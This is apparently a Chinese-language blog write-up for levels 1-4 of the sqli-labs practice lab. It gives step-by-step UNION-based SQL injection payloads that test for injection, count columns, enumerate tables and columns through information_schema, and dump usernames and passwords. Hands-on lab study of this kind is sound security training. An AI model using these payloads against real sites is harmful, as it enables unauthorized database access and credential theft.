2

sql-labs(1~4关)

 2 years ago
source link: https://bvxie.github.io/2022/02/13/sql-labs(1~4%E5%85%B3)/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

什么是sql-labs?

SQL 注入(SQL Injection) 是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。 主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息
推荐一个视频【转载】SQL注入、SSTI&Docker逃逸 HTB CTF -GoodGame-哔哩哔哩

Less-1,2

这两个知识点,都没差…
网上查询得Pass-01基于单引号的SQL注入,Pass-02基于整数的注入

判断是否存在注入

用get传值id=1,随后能看到网页出现变化

在这里插入图片描述
在这里插入图片描述
用get传值id=2,
在这里插入图片描述
在这里插入图片描述
用get传值id=15之后,界面异常。
在这里插入图片描述
在这里插入图片描述
有没有可能把?id=1,这个传参给它拼接到SQL语句中?并且被当做SQL代码进行执行?
尝试,?id=1 and 1=2…无变化。
在这里插入图片描述
在这里插入图片描述
Pass-02的知识从这开始,尝试闭合?id=1’and 1=1– za(后跟的字母随便…)
在这里插入图片描述
在这里插入图片描述
注意空格(格式),否则会报错,如图
在这里插入图片描述
在这里插入图片描述
?id=1’and 1=2– zaa,页面异常(可能存在SQL注入)
在这里插入图片描述
在这里插入图片描述

判断字段数

使用 order by 查询所有字段,从1开始直到4,发现3正常,但是4的页面异常(存在三个字段)

在这里插入图片描述
在这里插入图片描述

union select判断显错位(回显)

输入,?id=1’union select 1,2,3– zaa,显示了前面的结果,
1,2,3:仅仅相当于占了三个位置(先前order by 查询为3),所以用什么表示均可。

在这里插入图片描述
在这里插入图片描述
从而试着将id=1,改为id=15(因为页面没结果)
在这里插入图片描述
在这里插入图片描述
注意:有文章说,已知这里面只有三列,找每一列的位置,使用 ?id=0’ union select 1,2,3 –+ (要注意的是此处的id值必须是0以下的数字,否则不能成功)

库名和登录用户名

将2的位置换为**database()**,显示当前页面数据库库名:security。

在这里插入图片描述
在这里插入图片描述
查询当前数据库的库名和当前的登录用户名,使用 ?id=0’ union select 1,database(),user() – zaa
user()顶替3的位置,为当前的登录用户名。
在这里插入图片描述
在这里插入图片描述

?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=’security’– zaa
table_name:代表表名

information_schema藏有自带的数据库
table_schema字面指库名

在这里插入图片描述
在这里插入图片描述
第二位(则第一位可用limit 0,1表示)
?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=’security’ limit 1,1– zaa
在这里插入图片描述
在这里插入图片描述
第三位(limit 1,1中的前面的1改为2)
即…?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=’security’ limit 2,1– zaa
在这里插入图片描述
在这里插入图片描述
等…

?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=’security’ and table_name=’emails’– zaa
emails:可根据表进行替换

在这里插入图片描述
在这里插入图片描述
例:
?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=’security’ and table_name=’referers’– zaa
在这里插入图片描述
在这里插入图片描述

?id=15’union select 1,id,3 from emails– zaa

在这里插入图片描述
在这里插入图片描述
与上同,emails:可根据表进行替换

快法(要注意的是此处的id值必须是0以下的数字,否则不能成功)

将2的位置换为**database()**,显库名:security。
参考文章…

数据库库名后再爆破数据库,使用 ?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=’security’),3 –+

在这里插入图片描述
在这里插入图片描述
表名一步到位…

?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’emails‘),3 –+
emails:可根据表进行替换

在这里插入图片描述
在这里插入图片描述

格式?id=0’ union select 1,(select group_concat(concat_ws(0x7e,表名对应的列名,表名对应的列名)) from 表名),3 –+
0x7e应该是个站位的…,其位置也可为表名对应的列名,观察02,03

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,id,email_id)) from emails),3 –+ 进行爆破,得到以下内容。

在这里插入图片描述
在这里插入图片描述

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 –+ 进行爆破,得到以下内容。

在这里插入图片描述
在这里插入图片描述

?id=0’ union select 1,(select group_concat(concat_ws(id,username,password)) from users),3 –+ 进行爆破,得到以下内容

在这里插入图片描述
在这里插入图片描述

Less-3

查看源码…发现被框了。不会被当做代码,从而使代码失效。

在这里插入图片描述
在这里插入图片描述
从而01 02的代码’后加一个 ) 即可。
判断是否存在注入:?id=1')and 1=1-- za
判断字段数:?id=1')order by 1-- za
union select判断显错位 : ?id=1')union select 1,2,3-- zaa
判断表名:?id=15')union select 1,table_name,3 from information_schema.tables where table_schema='security'-- zaa
判断列名:?id=15')union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'-- zaa
判断数据名:?id=15')union select 1,id,3 from emails-- zaa

Less-4

由图与03相比单引变成了双引号…

在这里插入图片描述
在这里插入图片描述
判断是否存在注入:?id=1")and 1=1-- za  
判断字段数:?id=1")order by 1-- za
union select判断显错位 ?id=1")union select 1,2,3-- zaa
判断表名:?id=15")union select 1,table_name,3 from information_schema.tables where table_schema='security'-- zaa
判断列名:?id=15")union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails'-- zaa
判断数据名:?id=15")union select 1,id,3 from emails-- zaa

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK